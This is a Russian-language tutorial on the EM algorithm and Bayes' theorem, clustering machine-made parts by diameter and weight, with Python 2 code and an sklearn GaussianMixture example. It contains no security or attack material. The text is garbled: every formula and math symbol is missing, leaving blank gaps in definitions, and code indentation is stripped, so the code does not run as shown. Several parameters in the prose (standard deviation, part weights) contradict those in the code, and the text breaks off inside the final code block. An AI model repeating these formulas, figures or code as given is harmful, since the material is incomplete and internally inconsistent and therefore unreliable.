### EM-алгоритм в общих чертах
На курсе, по мотивам, которого написана статья, EM-алгоритм приводится в качестве одного из способов кластеризации. Другими словами, это метод машинного обучения без учителя, когда нам заранее не известны истинные ответы. В нашей статье, мы также будем рассматривать алгоритм в рамках одного из метода кластеризации случайной величины, имеющей нормальное распределение. Однако следует отметить, что алгоритм имеет более широкое применение. EM-алгоритм (англ. expectation-maximization) — это общий метод нахождения оценок функции правдоподобия в моделях со скрытыми переменными, который из смеси распределений позволяет строить (приближать) сложные вероятностные распределения.
EM-алгоритм в задачах кластеризации используется как итеративный алгоритм, который на каждой итерации осуществляет два шага:
**E-шаг**. На первом E-шаге мы каким-либо образом, например, случайным, выбираем скрытые переменные, в нашем случае это будут математическое ожидание —  и стандартное отклонение — . Используя выбранные переменные, рассчитываем вероятность отнесения каждого объекта к тому или иному кластеру. При последующих E-шагах используются скрытые переменные, определенные на M-шагах.
**M-шаг**. На M-шаге мы, в соответствии с полученными на E-шаге значениями вероятностей отнесения каждого объекта к тому или иному кластеру, пересчитываем скрытые переменные  и 
Итерации повторяются до тех пор, пока не наступит сходимость. Можно считать, что сходимость наступила тогда, когда значения скрытых переменных изменяются не значительно, например, в пределах заданной константы. В последнем примере, который рассматривается в статье мы не будем задавать константы и соответственно не будем определять изменения значений скрытых переменных на каждой итерации. Поступим проще — ограничим наш алгоритм фиксированным количеством шагов.
M-шаг достаточно прост для понимания и в этом мы убедимся на последнем примере. Основное внимание в статье мы уделим E-шагу.
В основе E-шага лежит теорема Байеса, на основании которой мы и определяем вероятность каждого объекта на отнесение к тому или иному кластеру. Давайте вспомним, о чем эта теорема.
### Вспомним формулу Байеса
, где  — вероятность того, что при наступившем событии  имела место гипотеза 
 — вероятность наступления гипотезы 
 — вероятность наступления события  при условии гипотезы 
 — вероятность наступления события  при условии выполнения каждой гипотезы (рассчитывается по формуле полной вероятности события)
При условии, что событие  уже произошло, вероятность выполнения гипотезы  переоценивается по вышеуказанной формуле. Можно сказать так, что  это априорная вероятность выполнения гипотезы (до испытания), а  — это апостериорная вероятность той же гипотезы, оцененной после наступления события , то есть с учетом того, что событие  достоверно произошло.
### Пример первый на теорему Байеса
Представим, что нам на склад поступили детали, которые были произведены на двух разных станках. Известны следующие характеристики поступивших на склад изделий:
Всего на склад поступило деталей — 10000 шт (), из них деталей, произведенных на первом станке — 6000 шт. (), на втором — 4000 шт. ().
Доля стандартных (т.е. не бракованных) изделий, произведенных на первом станке, составляет 0.9, доля стандартных изделий, произведенных на втором станке составляет 0.8.
Мы случайным образом извлекли из поступивших деталей одну деталь, и она оказалась стандартной.
Нам требуется определить вероятность того, что:
1) деталь произведена на 1-м станке;
2) деталь произведена на 2-м станке.
**Решение**
**1)** Событием  в нашем примере является извлечение стандартного изделия.
**2)** Теперь, определимся с гипотезами . У нас две партии деталей, а значит две гипотезы:
Гипотеза : случайно извлеченное изделие произведено на станке №1.
Гипотеза : случайно извлеченное изделие произведено на станке №2.
Соответственно, вероятность извлечь изделие, произведенное на первом станке —  составляет .
Вероятность извлечь изделие, произведенное на втором станке —  составляет . Причем нам не важно стандартное изделие или бракованное, важно из какой оно партии.
**3)** Вероятность извлечь стандартное изделие из изделий, произведенных на станке №1 (то есть, при условии первой гипотезы) соответствует доли стандартных изделий, произведённых на станке №1 и составляет 0.9, .
Вероятность извлечь изделие стандартное изделие при условии гипотезы №2 — 
**4)** Определим вероятность извлечь стандартное изделие из всей совокупности изделий — . В соответствии с формулой полной вероятности события . Здесь мы понимаем, что тогда  — это вероятность извлечь бракованную деталь из всех поступивших на склад деталей и в сумме получается 1 .
**5)** Теперь у нас есть все данные для того, чтобы решить задачу.
**5.1)** Определим вероятность того, что случайным образом извлеченная стандартная деталь, произведена на станке :
**5.2)** Определим вероятность того, что случайным образом извлеченная стандартная деталь, произведена на станке :
Таким образом, мы провели переоценку гипотез  и . После переоценки, гипотезы также образуют полную группу событий: .
Ну что же, теперь самое время перейти ко второму примеру.
### Второй пример на теорему Байеса с использованием параметров нормального распределения случайной величины: математического ожидания $\mu$ и стандартного отклонения $\sigma$
Давайте слегка модифицируем условия предыдущего примера. Будем считать, что нам не известны доли стандартных изделий, производимых на станках №1 и №2, но допустим, вместо этого мы знаем средние размеры диаметров изделий и стандартное отклонение диаметра изделий на каждом станке.
Станок №1 производит детали размером 64 мм в диаметре и стандартным отклонением 4 мм.
Станок №2 производит детали размером 52 мм в диаметре и стандартным отклонением в 2 мм.
*Немаловажное условие — вся совокупность изделий описывается нормальным распределением или распределением Гаусса.*
В остальном условия те же, запишем их:
Будем считать, что в процессе приемки продукции произошел небольшой инцидент, в результате которого все изделия перемешались.
Наша задача перебрать детали и для каждой определить вероятность того, что она была произведена на станке №1 или на станке №2. Также мы будем считать, что деталь произведена на том станке, вероятность которого выше.
**Решение**
В первую очередь, разберем алгоритм решения. Мы легко можем посчитать вероятность каждой гипотезы, впрочем мы уже знаем их значения из прошлого примера: , . Но как нам посчитать вероятность изъять стандартное изделие по отдельности для каждой из имеющихся гипотез? Все просто! Мы и не будем считать вероятность, вместо этого мы определим *плотность вероятности изъять деталь с ее значением диаметра для каждой гипотезы в отдельности.*
Для этого воспользуемся общеизвестной формулой:
, где  — случайная величина (в нашем случае фактический размер диаметра изделия),
 — математическое ожидание случайных величин -ой гипотезы (в нашем случае — средний размер диаметра изделия, произведенного на -м станке),
 — стандартное отклонение случайных величин -ой гипотезы (в нашем случае — отклонение от среднего размера диаметра изделия, произведенного на -м станке).
Таким образом, мы делаем ловкую замену вероятности на плотность вероятности в числителе формулы Байеса, аналогичные замены проведем в знаменателе.
Адаптируем формулы конкретно для нашего случая.
Вероятность того, что деталь с размерами диаметра  произведена на станке №1 определим по формуле:
Вероятность того, что деталь с размерами диаметра  произведена на станке №2:
Заметим, что мы заменили обозначение вероятности гипотезы с  на . Это связано с соответствующим обозначением на ранее обозначенном курсе. Далее мы будем использовать именно такое обозначение.
Теперь мы укомплектованы на все 100% и готовы к решению задачи.
Смотрим код
**Импорт библиотек**
```
# импортируем библиотеки, модули
import numpy as np
import random
import math
import matplotlib.pyplot as plt
%matplotlib inline
from sklearn.metrics import accuracy_score
```
**Функции, используемые во втором примере**
```
# функция определения плотности вероятности извлечь деталь, произведенную заданном на станке
# то есть мы задаем параметры станка: мат.ожидание, среднее кв. отклонение
def gaus_func_01(mu,sigma,x):
return math.e**(-(x-mu)**2/(2*sigma**2)) / (sigma*(2*math.pi)**0.5)
# напишем функцию определения вероятностей принадлежности деталей к станку
def proba_x(X, w1, w2, mu_1, mu_2, sigma_1, sigma_2):
for i in X:
P1_x = gaus_func_01(mu_1,sigma_1,i)
P2_x = gaus_func_01(mu_2,sigma_2,i)
P_x = w1*P1_x + w2*P2_x
P_x_1 = (w1*P1_x)/P_x
P_x_2 = (w2*P2_x)/P_x
proba_temp = []
proba_temp.append(P_x_1)
proba_temp.append(P_x_2)
proba_X.append(proba_temp)
return proba_X
# напишем функцию отнесения изделия к тому или станку
def pred_x(proba_X, limit_proba):
pred_X = []
for x in proba_X:
if x[0] >= limit_proba:
pred_X.append(1)
else:
pred_X.append(2)
return np.array(pred_X)
# напишем функцию построения графиков
def graph_01(X, pred_X, mu_1, sigma_1, mu_2, sigma_2):
true_pred = []
false_pred_1 = []
false_pred_2 = []
for i in range(X.shape[0]):
if pred_X[i] == y[i]:
true_pred.append([X[i], -0.025])
else:
if y[i] == 1:
false_pred_1.append([X[i], -0.0075])
else:
false_pred_2.append([X[i], -0.015])
false_pred_1 = np.array(false_pred_1)
false_pred_2 = np.array(false_pred_2)
true_pred = np.array(true_pred)
x_theory = np.linspace(42, 85, 20000)
y_theory_1 = []
for x in x_theory:
y_theory_1.append(gaus_func_01(mu_1,sigma_1,x))
y_theory_2 = []
for x in x_theory:
y_theory_2.append(gaus_func_01(mu_2,sigma_2,x))
plt.figure(figsize=(18, 8))
plt.plot(
x_theory, y_theory_1, color = 'green', lw = 2, label = 'Theoretical probability density for machine 1')
plt.plot(
x_theory, y_theory_2, color = 'firebrick', lw = 2, label = 'Theoretical probability density for machine 2')
plt.hist(
X[:N1], bins = 'auto', color='#539caf', normed = True, alpha = 0.35, label = 'machine tool products 1')
plt.hist(
X[N1:N], bins = 'auto', color='sandybrown', normed = True, alpha = 0.75, label = 'machine tool products 2')
plt.plot(mu_1, 0, 'o', markersize = 11, color = 'blue', label = 'Mu 1')
plt.plot(mu_2, 0, 'o', markersize = 11, color = 'red', label = 'Mu 2')
plt.plot([mu_1 - sigma_1, mu_1 - sigma_1], [0,0.85*np.max(y_theory_1)],
':', lw = 3, color = 'blue', alpha = 0.55, label = 'Mu1 - sigma1')
plt.plot([mu_1 + sigma_1, mu_1 + sigma_1], [0,0.85*np.max(y_theory_1)],
':', lw = 3, color = 'blue', alpha = 0.55, label = 'Mu1 + sigma1')
plt.plot([mu_2 - sigma_2, mu_2 - sigma_2], [0,0.85*np.max(y_theory_2)],
':', lw = 3, color = 'red', alpha = 0.55, label = 'Mu2 - sigma2')
plt.plot([mu_2 + sigma_2, mu_2 + sigma_2], [0,0.85*np.max(y_theory_2)],
':', lw = 3, color = 'red', alpha = 0.55, label = 'Mu2 + sigma2')
plt.plot([mu_1 - 2 * sigma_1, mu_1 - 2 * sigma_1], [0, 0.9*0.5 * np.max(y_theory_1)],
':', lw = 2.5, color = 'blue', alpha = 0.35, label = 'Mu1 - 2*sigma1')
plt.plot([mu_1 + 2 * sigma_1, mu_1 + 2 * sigma_1], [0, 0.9*0.5 * np.max(y_theory_1)],
':', lw = 2.5, color = 'blue', alpha = 0.35, label = 'Mu1 + 2*sigma1')
plt.plot([mu_2 - 2 * sigma_2, mu_2 - 2 * sigma_2], [0, 0.9*0.5 * np.max(y_theory_2)],
':', lw = 2.5, color = 'red', alpha = 0.35, label = 'Mu2 - 2*sigma2')
plt.plot([mu_2 + 2 * sigma_2, mu_2 + 2 * sigma_2], [0, 0.9*0.5 * np.max(y_theory_2)],
':', lw = 2.5, color = 'red', alpha = 0.35, label = 'Mu2 + 2*sigma2')
plt.plot(false_pred_1[:,0], false_pred_1[:,1], 'o', markersize = 2.5, color = 'blue', alpha = 0.2, label = 'errors1')
plt.plot(false_pred_2[:,0], false_pred_2[:,1], 'o', markersize = 2.5, color = 'red', alpha = 0.3, label = 'errors2')
plt.plot(true_pred[:,0], true_pred[:,1], 'o', markersize = 3, color = 'green', alpha = 0.2, label = 'right answers')
plt.xlabel('Caliber')
plt.ylabel('Probability density')
plt.legend()
plt.show()
```
**Укажем параметры**
```
# сформируем начальные условия примера
# количество изделий произведенных на станке №1
N1 = 6000
# количество изделий произведенных на станке №2
N2 = 4000
# количество изделий произведенных на обоих станках
N = N1+N2
# диаметр изделия станка №1
mu_1 = 64.
# стандартное отклонение в размере диаметра изделий станка №1
sigma_1 = 3.5
# диаметр изделия станка №2
mu_2 = 52
# стандартное отклонение в размере диаметра изделий станка №2
sigma_2 = 2.
```
**Проведем расчет**
```
X = np.zeros((N))
np.random.seed(seed=42)
# инициализируем данные по деталям, производства станка №1
X[:N1] = np.random.normal(loc=mu_1, scale=sigma_1, size=N1)
# инициализируем детали, производства станка №2
X[N1:N] = np.random.normal(loc=mu_2, scale=sigma_2, size=N2)
# инициализируем вектор ответов
y = np.zeros((N))
y[:N1] = np.array((1))
y[N1:N] = np.array((2))
# определим априорную вероятность извлечь изделие, произведенное на станке №1
w1 = float(N1)/N
# определим априорную вероятность извлечь изделие, произведенное на станке №2
w2 = float(N2)/N
# для каждой детали определим вероятность принадлежности к тому или иному станку
proba_X = []
proba_X = proba_x(X, w1, w2, mu_1, mu_2, sigma_1, sigma_2)
# установим порог вероятности, при достижении которого, изделие будет относиться к тому или иному станку
limit_proba = 0.5
# определим принадлежность детали к станку
pred_X = []
pred_X = pred_x(proba_X, limit_proba)
# определим качество нашего алгоритма
print 'Доля верно определенных изделий:', round(accuracy_score(y, pred_X),3)
print
print 'График №1'
graph_01(X, pred_X, mu_1, sigma_1, mu_2, sigma_2)
```
**График №1**
Что мы только что сделали? Мы сгенерировали псевдослучайным образом 10000 значений, описываемых нормальным распределением, из них 6000 значений с математическим ожиданием в 64 мм и стандартным отклонением 4 мм, 4000 значений с математическим ожиданием равным 52 мм и стандартным отклонением в 2 мм. Далее, в соответствии с вышеуказанным алгоритмом, для каждой детали определили вероятность ее производства на станке №1 или №2. После этого выбрали гипотезу о производстве изделия на том или ином станке в зависимости от того, какая гипотеза имеет большую вероятность. И наконец сравнили результаты нашего алгоритма с истинными ответами.
На выходе мы получили долю правильных ответов — 0.986. В целом это очень неплохо, учитывая, что обучение мы проводили без использования истинных ответов.
Посмотрим на график. На что рекомендуется обратить внимание? Посмотрите, где расположены не верно определенные алгоритмом изделия.
Во-первых, мы видим ошибки алгоритма только в той области, где изделия, произведенные на разных станках, имеют один и тот же диаметр. Это выглядит вполне логичным.
Во-вторых, мы видим, что алгоритм ошибается только в тех объектах, которые больше всего удалены от истинного среднего значения объектов и при этом находятся достаточно близко к ложному центру.
Но самое интересное в том, что проблемы начинаются в основном, после пересечения значений приблизительно равных , конкретно в нашем случае на пересечении  и 
Желающие могут «покрутить» параметры и посмотреть как меняется качество алгоритма. Это будет полезно для лучшего усвоения материала.
Ну а мы двигаемся дальше к следующему примеру
### Третий пример. Двумерный случай
В этот раз мы рассмотрим случай, когда у нас есть данные не только о диаметре изделий, но и о, например, весе каждого изделия. Пускай станок №1 производит детали весом в 12 г. и стандартным отклонением в 1 г., станок №2 производит изделия весом в 10 г. и стандартным отклонением 0.8 мм
В остальном будем использовать данные из предыдущего примера, запишем их.
Ситуация та же — все детали перемешались в одну большую кучу и нам нужно их перебрать и определить для каждой детали вероятность ее производства на станке №1 и станке №2.
**Решение**
В целом подход решения относительно предыдущего примера не меняется за исключением формулы определения плотности вероятности случайной величины. Для многомерного случая используется следующая формула:
, где  — это матрица ковариаций cлучайных величин -й гипотезы (в нашем случае, матрица ковариаций параметров изделий, произведенных на -м станке)
 — это определитель матрицы ковариации случайных величин -й гипотезы
 — математическое ожидание случайных величин -ой гипотезы (в нашем случае, среднее значение изделий, произведенных на -м станке)
 — случайная величина (в нашем случае параметры -го изделия)
В этот раз, для понимания кода, уважаемому читателю понадобятся знания об операциях с матрицами
**Функции, используемые в третьем примере**
```
# функция определения плотности вероятности извлечь деталь, произведенную заданном на станке
# то есть мы задаем параметры станка: мат.ожидание, среднее кв. отклонение
def gaus_func_02(k, m, x, mu, sigma):
pj_xi = []
for j in range(k):
det_sigma_j = np.linalg.det(sigma[j])
factor_1 = 1 / (((2 * math.pi)**(k/2)) * ((det_sigma_j)**0.5))
factor_2 = []
for i in x:
# обратим внимание на то, что запись в коде отличается от записи показателя экспоненты в обшепринятой функции
# в общепринятом виде первым множетелем идет транспонированная матрица центрированных значений
# у нас наоборот. Это связано с тем, что мы изначально использовали иной формат
# спишем это на технические обстоятельства
factor_2.append(math.e**float(
-0.5 * np.matrix(i - mu[j]) * np.matrix(np.linalg.inv(sigma[j])) * np.matrix(i - mu[j]).T))
pj_xi.append(factor_1 * np.array(factor_2))
return np.array(pj_xi)
# напишем функцию определения вероятности того, что извлеченный объект относится к кластеру №1 и №2
def proba_func_02(pjxi, w, k):
# для начала определим вероятность извлечь объект из всей совокупности данных
P_X = []
for j in range(k):
P_X.append(w[j] * pjxi[j])
P_X = np.sum(np.array(P_X), axis = 0)
# теперь определим вероятность того, что извлеченный объект относится к кластеру №1 и №2
P_J_X = []
for j in range(k):
P_J_X.append(w[j] * pjxi[j] / P_X)
return np.array(P_J_X)
# напишем функцию отнесения изделия к тому или станку
def pred_x_02(proba_X, limit_proba):
pred_X = []
for x in proba_X[0]:
if x >= limit_proba:
pred_X.append(1)
else:
pred_X.append(2)
return np.array(pred_X)
# напишем функцию построения графика с распределением изделий по станкам в соответствии с алгоритмом
def graph_02_algorithm(pred_X, mu):
# преобразуем массив данных
pred_X = np.array(pred_X)
# запишем параметры изделий, в раздельные массивы в соответствии с определением станка алгоритмом
answers_1 = []
answers_2 = []
for i in range(pred_X.shape[0]):
if pred_X[i] == 1:
answers_1.append(X[i])
else:
answers_2.append(X[i])
print 'График "Распределение изделий в соответствии с алгоритмом"'
plt.figure(figsize=(16, 6))
plt.plot(
np.array(answers_1)[:,0], np.array(answers_1)[:,1], 'o', alpha = 0.7, color='sandybrown', label = 'Produced on machine #1')
plt.plot(
np.array(answers_2)[:,0], np.array(answers_2)[:,1], 'o', alpha = 0.45, color = 'darkblue', label = 'Produced on machine #2')
plt.plot(mu[0][0], mu[0][1], 'o', markersize = 16, color = 'red', label = 'Mu 1')
plt.plot(mu[1][0], mu[1][1], 'o', markersize = 16, color = 'slateblue', label = 'Mu 2')
plt.xlabel('Diameter')
plt.ylabel('Weight')
plt.legend()
plt.show()
# напишем функцию построения графика с истинным распределением изделий по станкам
def graph_02_true(X, mu):
print 'График "Истинное распределение изделий"'
plt.figure(figsize=(16, 6))
plt.plot(
X[0:N1,0], X[0:N1,1], 'o', alpha = 0.7, color='sandybrown', label = 'Produced on machine #1')
plt.plot(
X[N1:N,0], X[N1:N,1], 'o', alpha = 0.45, color = 'darkblue', label = 'Produced on machine #2')
plt.plot(mu[0][0], mu[0][1], 'o', markersize = 16, color = 'red', label = 'Mu 1')
plt.plot(mu[1][0], mu[1][1], 'o', markersize = 16, color = 'slateblue', label = 'Mu 2')
plt.xlabel('Diameter')
plt.ylabel('Weight')
plt.legend()
plt.show()
```
**Укажем параметры**
```
# количество станков
k = 2
# количество деталей изготовленных на станке №1
N1 = 6000
# количество деталей изготовленных на станке №2
N2 = 4000
N = N1+N2
# количество признаков (диаметр и вес)
m = 2
# диаметр изделия станка №1
mu_1_1 = 64.
# вес изделия станка №1
mu_1_2 = 14.
# стандартные отклонения
sigma_1_1 = 3.5
sigma_1_2 = 1.
# диаметр изделия станка №2
mu_2_1 = 52.
# вес изделия станка №2
mu_2_2 = 9.5
# стандартные отклонения
sigma_2_1 = 2.
sigma_2_2 = 0.7
```
**Проведем расчет**
```
X = np.zeros((N, m))
np.random.seed(seed=42)
# инициализируем данные по деталям, производства станка №1
X[:N1, 0] = np.random.normal(loc=mu_1_1, scale=sigma_1_1, size=N1)
X[:N1, 1] = np.random.normal(loc=mu_1_2, scale=sigma_1_2, size=N1)
# инициализируем детали, производства станка №2
X[N1:N, 0] = np.random.normal(loc=mu_2_1, scale=sigma_2_1, size=N2)
X[N1:N, 1] = np.random.normal(loc=mu_2_2, scale=sigma_2_2, size=N2)
# зафиксируем правильные ответы (для оценки качества алгоритма, в обучении не используется)
y = np.zeros((N))
y[:N1] = np.array((1))
y[N1:N] = np.array((2))
# запишем средние значения диаметра и веса изделий в матричном формате (для удобства расчетов)
mu = np.array(([mu_1_1, mu_1_2], [mu_2_1, mu_2_2]))
# запишем стандартные отклонения в формате матрицы ковариации (для удобства расчетов)
sigma = np.array(([sigma_1_1, 0.],[0., sigma_1_2], [sigma_2_1, 0.],[0., sigma_2_2]))
sigma = sigma.reshape(k, m, m)
# инициализируем априорную вероятность извлечь изделие, произведенное на станке №1 и №2
w = np.array([float(1./k), float(1./k)])
# запустим наши функции
pj_xi = gaus_func_02(k, m, X, mu, sigma)
proba_X = proba_func_02(pj_xi, w, m)
# установим порог вероятности, при достижении которого, изделие будет относиться к тому или иному станку
limit_proba = 0.5
pred_X = pred_x_02(proba_X, limit_proba)
# определим качество нашего алгоритма
print 'Доля верно определенных изделий:', round(accuracy_score(y, pred_X),3)
print
graph_02_algorithm(pred_X, mu)
graph_02_true(X, mu)
```
**График №2.1 «Распределение изделий в соответствии с алгоритмом»**
**График №2.2 «Истинное распределение изделий»**
По аналогии с предыдущим примером мы сгенерировали 10000 значений в соответствии с указанными выше параметрами  и , написали несколько функций для работы нашего алгоритма и запустили его. Принципиальное отличие этого кода от кода из предыдущего примера состоит в том, что мы использовали на этот раз матричные выражения для проведения вычислений.
В результате наш алгоритм показывает долю правильных ответов равную 0.998, что собственно весьма неплохо.
Проблемы как мы видим, все там же — ошибки в деталях, которые были произведены на разных станках и при этом имеют схожие размеры и вес.
Код написан таким образом, чтобы читатель смог подставить любые значения параметров  и  и посмотреть, как будет работать алгоритм: в каких случаях качество будет ухудшаться, в каких улучшаться. Главное при этом не забывать изучать график. Ну а мы двигаемся к нашему конечному пункту разбора EM-алгоритма, собственно самому EM-алгоритму.
### Встречаем EM-алгоритм
Продолжим наш пример с поступившими на склад деталями. Но на этот раз мы будем знать только то, что изделия были произведены на двух различных станках, их 10000, каждая деталь имеет диаметр и размер и более ничего нам не известно. Но задание не изменилось — нам также, как и раньше, из всей большой кучи, случайно перемешанных изделий, нужно будет определить к какому станку относится та или иная деталь.
На первый взгляд звучит почти не реально, но на самом деле у нас в руках мощный инструментарий: формула Байеса и формула плотности вероятности случайной величины. Давайте всем этим добром и воспользуемся.
**Решение**
Как мы поступим? Как и положено в EM-алгоритме мы для начала инициализируем параметры:
Вероятность гипотезы извлечь деталь, произведенную на станке №1 —  мы определим равной вероятности гипотезы извлечь деталь, произведенной на станке №2 — . Гипотез всего две, а значит каждая из них на первом шаге будет равна 0.5.
Математическое ожидание случайных величин  определим следующим образом. Перемешаем все изделия с помощью функции random, поделим совокупность поровну на две части, для каждой части по каждому параметру (диаметр, вес) определим среднее значение.
Стандартное отклонение  возьмем, что называется с потолка — установим его равным единице по всем параметрам. Запишем в формате матрицы ковариации.
Мы готовы сделать первый E-шаг алгоритма. Используя инициализированные параметры случайных величин, определяем вероятность каждой детали быть отнесенной к станку №1 или станку №2.
Собственно, таким образом, мы сделали первый E-шаг.
Теперь дело за M-шагом. Здесь все просто. После того, как мы определили вероятность каждой детали быть произведенной на том или ином станке, мы можем заново пересчитать вероятность каждой гипотезы — , , а также  и .
Таких итераций, по два шага каждая, мы сделаем 15.
Смотрим код.
**Функции, используемые в работе EM-алгоритма**
```
# запишем функцию E-шага
def e_step(x, k, m, n, w, mu, sigma):
# инициализируем массив плотностей вероятностей извлечения i-ой детали из произведенных на j-м станке
pj_xi = []
for j in range(k):
det_sigma_j = np.linalg.det(sigma[j])
factor_1 = 1 / (((2 * math.pi)**(k/2)) * ((det_sigma_j)**0.5))
factor_2 = []
for i in x:
factor_2.append(math.e**float(
-0.5 * np.matrix(i - mu[j]) * np.matrix(np.linalg.inv(sigma[j])) * np.matrix(i - mu[j]).T))
pj_xi.append(factor_1 * np.array(factor_2))
pj_xi = np.array(pj_xi)
# инициализируем массив плотностей вероятностей того, что i-я деталь произведена на j-м станке
pj_xi_w = []
for j in range(k):
pj_xi_w.append(pj_xi[j] * w[j])
pj_xi_w = np.array(pj_xi_w)
# рассчитаем плотность вероятности извлечения i-й детали среди всех деталей
sum_pj_xi_w = np.sum(pj_xi_w, axis = 0)
# инициализируем массив вероятностей отнесения каждой детали к каждому станку
proba_xi = []
for j in range(k):
proba_xi.append(pj_xi_w[j] / sum_pj_xi_w)
return np.array(proba_xi)
# запишем функцию, в соответствии с которой, на основании данных о вероятности отнесения изделия к тому или иному станку,
# будет определятся на каком станке изделие производилось
def x_new(proba_xi):
X1_new_ind = []
X2_new_ind = []
X_answers = []
count = 0
for x in proba_xi[0]:
if x >= 0.5:
X1_new_ind.append(count)
X_answers.append(1)
else:
X2_new_ind.append(count)
X_answers.append(2)
count += 1
# на выходе получаем вектор индексов изделий, произведенных на станке №1, №2 и вектор ответов
return X1_new_ind, X2_new_ind, X_answers
# запишем функцию M-шага
def m_step(x, proba_xi,N):
w_new = np.sum(proba_xi, axis = 1) / N
# рассчитаем математическое ожидание
mu_new = (np.array((np.matrix(proba_xi) * np.matrix(X))).T / np.sum(proba_xi, axis = 1)).T
# рассчитаем дисперсии
cov_new = []
for mu in range(mu_new.shape[0]):
X_cd = []
X_cd_proba = []
count = 0
for x_i in x:
cd = np.array(x_i - mu_new[mu])
X_cd.append(cd)
X_cd_proba.append(cd * proba_xi[mu][count])
count += 1
X_cd = np.array(X_cd)
X_cd = X_cd.reshape(N, m)
X_cd_proba = np.array(X_cd_proba)
X_cd_proba = X_cd_proba.reshape(N, m)
cov_new.append(np.matrix(X_cd.T) * np.matrix(X_cd_proba))
cov_new = np.array((np.array(cov_new) / (np.sum(proba_xi, axis = 1)-1)))
# при расчете матрицы ковариации в некоторых случаях могут быть элементы с отрицательными значениями, переведем их в нули
# на основной рассчет такой перевод не повлияет, но упростит извлечение корня из значений матрицы ковариации
if cov_new[0][0][1] < 0:
cov_new[0][0][1] = 0
if cov_new[0][1][0] < 0:
cov_new[0][1][0] = 0
if cov_new[1][0][1] < 0:
cov_new[1][0][1] = 0
if cov_new[1][1][0] < 0:
cov_new[1][1][0] = 0
# рассчитаем стандартное отклонение
sigma_new = cov_new**0.5
return w_new, mu_new, sigma_new
```
**Укажем параметры**
```
# сформируем исходные условия
# количество изделий произведенных на станке №1 (кластер 1)
N1 = 6000
# количество изделий произведенных на станке №2 (кластер 2)
N2 = 4000
# суммарное количество изделий произведенных на обоих станках
N = N1 + N2
# количество станков
k = 2
# диаметр изделий станка №1
mu_samples_1_1 = 64.
# вес изделий станка №1
mu_samples_1_2 = 14.
# диаметр изделий станка №2
mu_samples_2_1 = 52.
# вес изделий станка №2
mu_samples_2_2 = 9.5
# стандартное отклонение диаметров изделий станка №1
sigma_samples_1_1 = 3.5
# стандартное отклонение веса изделий станка №1
sigma_samples_1_2 = 1.
# стандартное отклонение диаметров изделий станка №2
sigma_samples_2_1 = 2.
# стандартное отклонение веса изделий станка №2
sigma_samples_2_2 = 0.7
```
**Проведем расчет**
```
X = np.zeros((N, 2))
np.random.seed(seed=42)
# инициализируем данные по деталям, произведенных на станке №1
X[:N1, 0] = np.random.normal(loc=mu_samples_1_1, scale=sigma_samples_1_1, size=N1)
X[:N1, 1] = np.random.normal(loc=mu_samples_1_2, scale=sigma_samples_1_2, size=N1)
# инициализируем данные по деталям, произведенных на станке №2
X[N1:N, 0] = np.random.normal(loc=mu_samples_2_1, scale=sigma_samples_2_1, size=N2)
X[N1:N, 1] = np.random.normal(loc=mu_samples_2_2, scale=sigma_samples_2_2, size=N2)
# зафиксируем количество признаков
m = X.shape[1]
# зафиксируем количество объектов
n = X.shape[0]
# зафиксируем правильные ответы для оценки качества алгоритма (в обучении не используется)
y = np.zeros((N))
y[:N1] = np.array((1))
y[N1:N] = np.array((2))
# инициализируем априорную вероятность извлечь изделие, произведенное на станке №1 и №2
w = np.array([float(1./k), float(1./k)])
np.random.seed(seed = None)
# инициализируем средние значения диаметра и веса изделий (запишем в формате матрицы)
mu = np.array(
(np.mean(X[np.random.choice(n, n/k)], axis = 0), np.mean(X[np.random.choice(n, n/k)], axis = 0)))
# mu = np.array(([mu_samples_1_1, mu_samples_1_2],[mu_samples_2_1, mu_samples_2_2]))
# инициализируем стандартные отклонения в диаметре и весе изделий (запишем в формате матрицы ковариации)
sigma = np.array(([1., 0.],[0., 1.], [1., 0.],[0., 1.]))
# sigma = np.array(([sigma_samples_1_1, 0.],[0., sigma_samples_1_2], [sigma_samples_2_1, 0.],[0., sigma_samples_2_2]))
sigma = sigma.reshape(k, m, m)
# выберем количество итераций EM-алгоритма
steps = 15
# запустим цикл EM-алгоритма
for i in range(steps):
proba_xi = e_step(X, k, m, n, w, mu, sigma)
w, mu, sigma = m_step(X, proba_xi,N)
X1_new_ind, X2_new_ind, X_answers = x_new(proba_xi)
print 'Итерация №', i+1
print
print 'Матрица значений математических ожиданий'
print mu
print
print 'Матрица значений стандартных отклонений'
print sigma
print
print 'Доля правильно распознанных изделий'
print round(accuracy_score(y, X_answers),3)
plt.figure(figsize=(16, 6))
plt.plot(
X[X1_new_ind,0], X[X1_new_ind,1], 'o', alpha = 0.7, color='sandybrown', label = 'Produced on machine #1')
plt.plot(
X[X2_new_ind,0], X[X2_new_ind,1], 'o', alpha = 0.45, color = 'darkblue', label = 'Produced on machine #2')
plt.plot(mu[0][0], mu[0][1], 'o', markersize = 16, color = 'red', label = 'Mu 1')
plt.plot(mu[1][0], mu[1][1], 'o', markersize = 16, color = 'purple', label = 'Mu 2')
plt.xlabel('Diameter')
plt.ylabel('Weight')
plt.legend()
plt.show()
```
График 3.1 «Распределение деталей на каждой итерации работы EM-алгоритма»
**Все итерации**
Что в итоге получилось? А получилось следующее, не имея никакой предварительной информации о вероятности гипотез извлечения деталей, произведенных на станке №1 —  или станке №2 , математическом ожидании и стандартном отклонении случайных величин —  и , мы достигли качество сопоставимое с предыдущим примером, в котором все вышеобозначенные параметры были известны.
Сравним параметры, которые мы задали при генерации совокупности изделий, так называемые истинные параметры и параметры, которые нам определил EM-алгоритм:
**Истинные параметры**
**Определенные параметры**
На этом статья подходит к концу. Напоследок добавлю, что для целей анализа данных не имеет смысл изобретать велосипед и писать самостоятельно EM-алгоритм, можно просто воспользоваться предусмотренной функцией библиотеки sklearn.
Давайте посмотрим как отработает GaussianMixture библиотеки sklearn наш пример.
**Импорт модуля**
```
from sklearn.mixture import GaussianMixture as GMM
```
**Укажем параметры**
```
# сформируем исходные условия
# количество изделий произведенных на станке №1 (кластер 1)
N1 = 6000
# количество изделий произведенных на станке №2 (кластер 2)
N2 = 4000
# суммарное количество изделий произведенных на обоих станках
N = N1 + N2
# диаметр изделий станка №1
mu_samples_1_1 = 64.
# вес изделий станка №1
mu_samples_1_2 = 14.
# диаметр изделий станка №2
mu_samples_2_1 = 52.
# вес изделий станка №2
mu_samples_2_2 = 9.5
# стандартное отклонение диаметров изделий станка №1
sigma_samples_1_1 = 3.5
# стандартное отклонение веса изделий станка №1
sigma_samples_1_2 = 1.
# стандартное отклонение диаметров изделий станка №2
sigma_samples_2_1 = 2.
# стандартное отклонение веса изделий станка №2
sigma_samples_2_2 = 0.7
# количество станков
k = 2
X = np.zeros((N, 2))
np.random.seed(seed=42)
